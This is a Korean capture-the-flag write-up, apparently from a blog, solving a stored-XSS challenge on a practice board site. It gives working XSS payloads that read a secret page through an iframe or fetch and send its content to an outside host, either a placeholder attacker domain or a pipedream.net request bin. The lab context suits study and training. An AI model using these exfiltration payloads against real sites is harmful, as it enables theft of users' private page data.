[1]Reconnaissance
문제로 알 수 있는 것은 다음과 같습니다.
-실제 중요 정보가 있는 페이지에 접근할 수 없으나, 같은 내용의 페이지는 접근이 가능
1)Page Reconnaissance
[1]path: http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html
-중요 정보가 있는 페이지와 똑같은 페이지입니다. 빨간색 박스에 있는 위치가 아마 Flag일 것 같습니다.
-태그 정보는 <p class="card-text">This is a Very Secret Info</p> 이며, 추출해야 하는 값은 This is a Very Secret Info 입니다.
-이를 접근하기 위해서는 DOM을 이용해 접근합니다.
[2]path: http://ctf.segfaulthub.com:4343/scriptPrac
-'Basic Script Prac' 문제와 달리 XSS 포인트가 공개되지 않았습니다.
-이 경우, Stored XSS가 대표적으로 발생하는 게시판과 Reflected XSS가 대표적으로 발생하는 마이페이지를 먼저 살펴보는 것이 효율적입니다.
-index.html 입니다. Login 버튼을 누르면, 아래와 같이 가입과 로그인을 할 수 있는 login.html로 이동합니다.
-Sign up을 눌러 가입을 해주고 로그인을 합니다.
-index.php입니다. 마이페이지, 공지사항, Logout 버튼이 보입니다. 게시판 기능을 먼저살펴보기 위해 공지사항을 클릭합니다.
[3]path: http://ctf.segfaulthub.com:4343/scriptPrac/notice_list.php
-게시물들을 볼 수 있는 페이지입니다. 글쓰기를 누르면 notice_write.php로 이동합니다.
-오른쪽은 글을 작성하는 notice_write.php, 왼쪽은 notice_read.php 입니다.
-요청 과정을 보면 notice_write.php에서 작성된 글은 notice_process.php를 거쳐 저장되며, 이를 notice_read.php에서 id 파라미터의 값에 따라 식별되어 보게 되는 구조를 띄고 있습니다.
-따라서 XSS를 확인하기 위해서는 notice_process.php에서 전송되는 입력값이 notice_read.php에서 어떻게 출력되는지를 보면 되겠습니다.
[2]Exploit
1)Exploit Plan
-XSS Exploit Plan은 다음과 같습니다.
- 입력값이 응답되는 곳을 찾고 입력값이 그대로 삽입되는지 확인
- 특수문자 bracket(< >), single quote('), double quote(")가 HTML Entity 치환되지 않고 처리되는지 확인
- XSS가 발생하는지 알 수 있는 스크립트 alert 구문을 삽입하여 작동되는지 확인
- 목적에 맞게 스크립트를 작성하여 삽입 후 실행
-이 중 1단계는 Reconnaissance 단계에서 notice_process.php 의 입력값과 notice_read.php의 출력값을 확인하는 것을 알았습니다.
2)Check special characters replaced by HTML Entity
-특수문자의 HTML Entity 치환 단계를 알아보는 것은 사용할 페이로드를 결정하기 때문에 매우 중요한 단계입니다.
-notice_process.php에서 전송된 <"'>은 notice_read.php 응답으로 살펴볼 수 있습니다.
-응답을 보면 제목과 내용의 해석이 다르게 된 것을 볼 수 있는데, 제목은 HTML Entity 처리되어 bracket(< >)이 < > 로 치환된 것을 볼 수 있습니다. 하지만 내용 부분은 HTML Entity 처리가 되지 않은 것을 보아 여기에서 XSS가 발생할 가능성이 높습니다.
3)Check XSS with alert()
-script와 alert을 이용해 alert(1)을 실행시키는 것을 먼저 테스트해보고, Reconnaissance 단계에서 찾은 추출해야 할 값의 DOM 접근을 이용해 alert을 실행시키는 것을 테스트하는 순서로 계획을 세웠습니다.
-notice_read.php의 응답에서 내용 부분을 보면 <script>alert(1)</script>이 삽입되어, alert(1)이 실행된 모습입니다. 따라서 script, alert 등의 단어에 대한 치환 및 필터링은 없었습니다.
-이제 외부에 있는 정보를 가져와야 합니다.
1.iframe 사용
-iframe 태그는 아래와 같이 사용할 수 있으며, src에 삽입되는 url 화면을 액자처럼 작은 창으로 가져옵니다.
-Reconnaissance 단계에서 document.getElement 구문으로 태그를 조회한 방법처럼 iframe 태그 안에 식별할 수 있는 id 속성과 값을 넣고 이를 script 태그에서 document.getElementById로 조회한 값을 변수에 저장하고 변수.contentDocument.getElementBy...을 이용하여 iframe으로 불러온 url 안의 태그를 조회할 수 있습니다.
-이를 이용하여 iframe으로 가져올 정보가 있는 페이지를 띄우고 id 속성에 "target"이란 값을 삽입합니다. 이를 document.getElementById('target')으로 가져오고 변수 targetTag에 저장한 다음 targetTag.contentDocument.getElementByClassName('card-text")[1].textContent; 로 flag를 추출하는 로직을 세울 수 있습니다.
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>window.addEventListener('DOMContentLoaded', function(){
var targetTag = document.getElementById('target');
var DOMData = targetTag.contentDocument;
let flag = DOMData.getElementsByClassName('card-text')[1].textContent;
alert(flag);});
</script>
-window.addEventListner로 'DOMContentLoaded'로 DOM이 다 로드된 이후 구문을 실행해야 아래와 같은 undefiened error가 발생하지 않습니다.
-alert으로 "This is Very Secret Info"가 잘 출력되는 것을 볼 수 있습니다.
*아래 location.href나 img.src는 window.addEventListener('DOMContentLoaded' 를 사용하지 않아도 작동하긴 합니다.
4)Insert and Run XSS
-이제 img 객체의 참조 주소에 정보를 담아 보낼것인지, location.href로 페이지를 이동하여 정보를 전달할 것인지 선택하면 됩니다.
*물론 input tag의 onfocus 이벤트 핸들러나 img 태그의 onerror 등의 이벤트 핸들러 이용도 가능하지만 그 방식도 결국 스크립트는 비슷합니다.
[1]iframe - img.src
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target"></iframe>
<script>
var targetTag = document.getElementById('target');
var DOMData = targetTag.contentDocument;
var flag = DOMData.getElementsByClassName("card-text")[1].textContent;
var i = new Image();
i.src = "https://{attacker_domain}/?flag"+flag;
</script>
[2]iframe - location.href
<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/secret.php" id="target"></iframe>
<script>
var targetTag = document.getElementById('target');
var DOMData = targetTag.contentDocument;
var flag = DOMData.getElementsByClassName("card-text")[1].textContent;
location.href = "https://engs7yg62t1y8.x.pipedream.net/?flag"+flag;
</script>
-내용에 XSS를 삽입하고, 글을 쓴 다음 글이 있는 url을 관리자 봇에게 전달하여 flag를 얻을 수 있습니다.
[3]fetch - img.src
-fetch란 JavaScript에서 네트워크 요청을 보내는 API로 이를 활용해 정보를 추출할 URL을 방문하고 응답데이터를 DOM으로 변환하여 정보를 추출한 다음, 공격자의 서버로 전송하는 순서입니다.
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac/secret.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementsByClassName("card-text")[1].textContent;
var i = new Image();
i.src = "https://{attacker_domain}/?flag="+data;
})
</script>
[4]fetch - location.replace
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac/secret.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementsByClassName("card-text")[1].textContent;
location.replace('https://{attacker_domain}/?data='+data);
})
</script>
[추가적인 의문점]
-fetch를 사용해서 페이로드를 작성할 당시, tryhackme에서 사용했던 페이로드가 생각나서 이를 활용했었는데 결과적으로 완전히 잘 작동하지는 않았습니다.
*Whyhackme : https://x4uiry.tistory.com/39
WhyHackMe
[1]Analysis-아이콘으로 방화벽이 보입니다. nmap results-sS 옵션은 SYN 스캔을 하는 옵션이고, 모든 포트를 스캔하며, 최소 탐색시간을 10000으로 두었습니다.-sV와 -O 옵션으로 버전과 운영체제에 대해
x4uiry.tistory.com
<script>
fetch('http://ctf.segfaulthub.com:4343/scriptPrac/secret.php')
.then(response => response.text())
.then(html => {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let data = doc.getElementsByClassName("card-text")[1].textContent;
fetch('https://{attacker_domain}/?data='+data);
})
</script>
-위 구문은 로컬에서 접근하면 100% 성공하지만, 관리자 봇에서는 5번 보내면 2번정도 성공합니다.
-여러가지 테스트에서 두 fetch 구문을 window.addEventListenr('DOMContentLoaded 혹은 setTimeout 을 걸거나, 마지막 fetch 구문에 window.addEventListenr('DOMContentLoaded나 setTimeout을 걸었을때 모두 실패하였고, 아무제한이 없는 위 구문이 가끔 성공했습니다.
-또한 setTimeout에서 지연시간을 0으로 했을때 다시 성공한 것으로 보아, 관리자 봇이 selenium으로 작동하고 그 작동시간이 스크립트의 실행시간에 거의 근접하기 때문으로 추측하고 있습니다.
[3]Flag
'write-up > web' 카테고리의 다른 글
SQLHell (0) | 2024.07.05 |
---|---|
Steal Info 2 (0) | 2024.06.30 |
Basic Script Prac (0) | 2024.06.28 |
SQL Injection Point 4 (0) | 2024.06.11 |
SQL Injection Point 3 (0) | 2024.06.11 |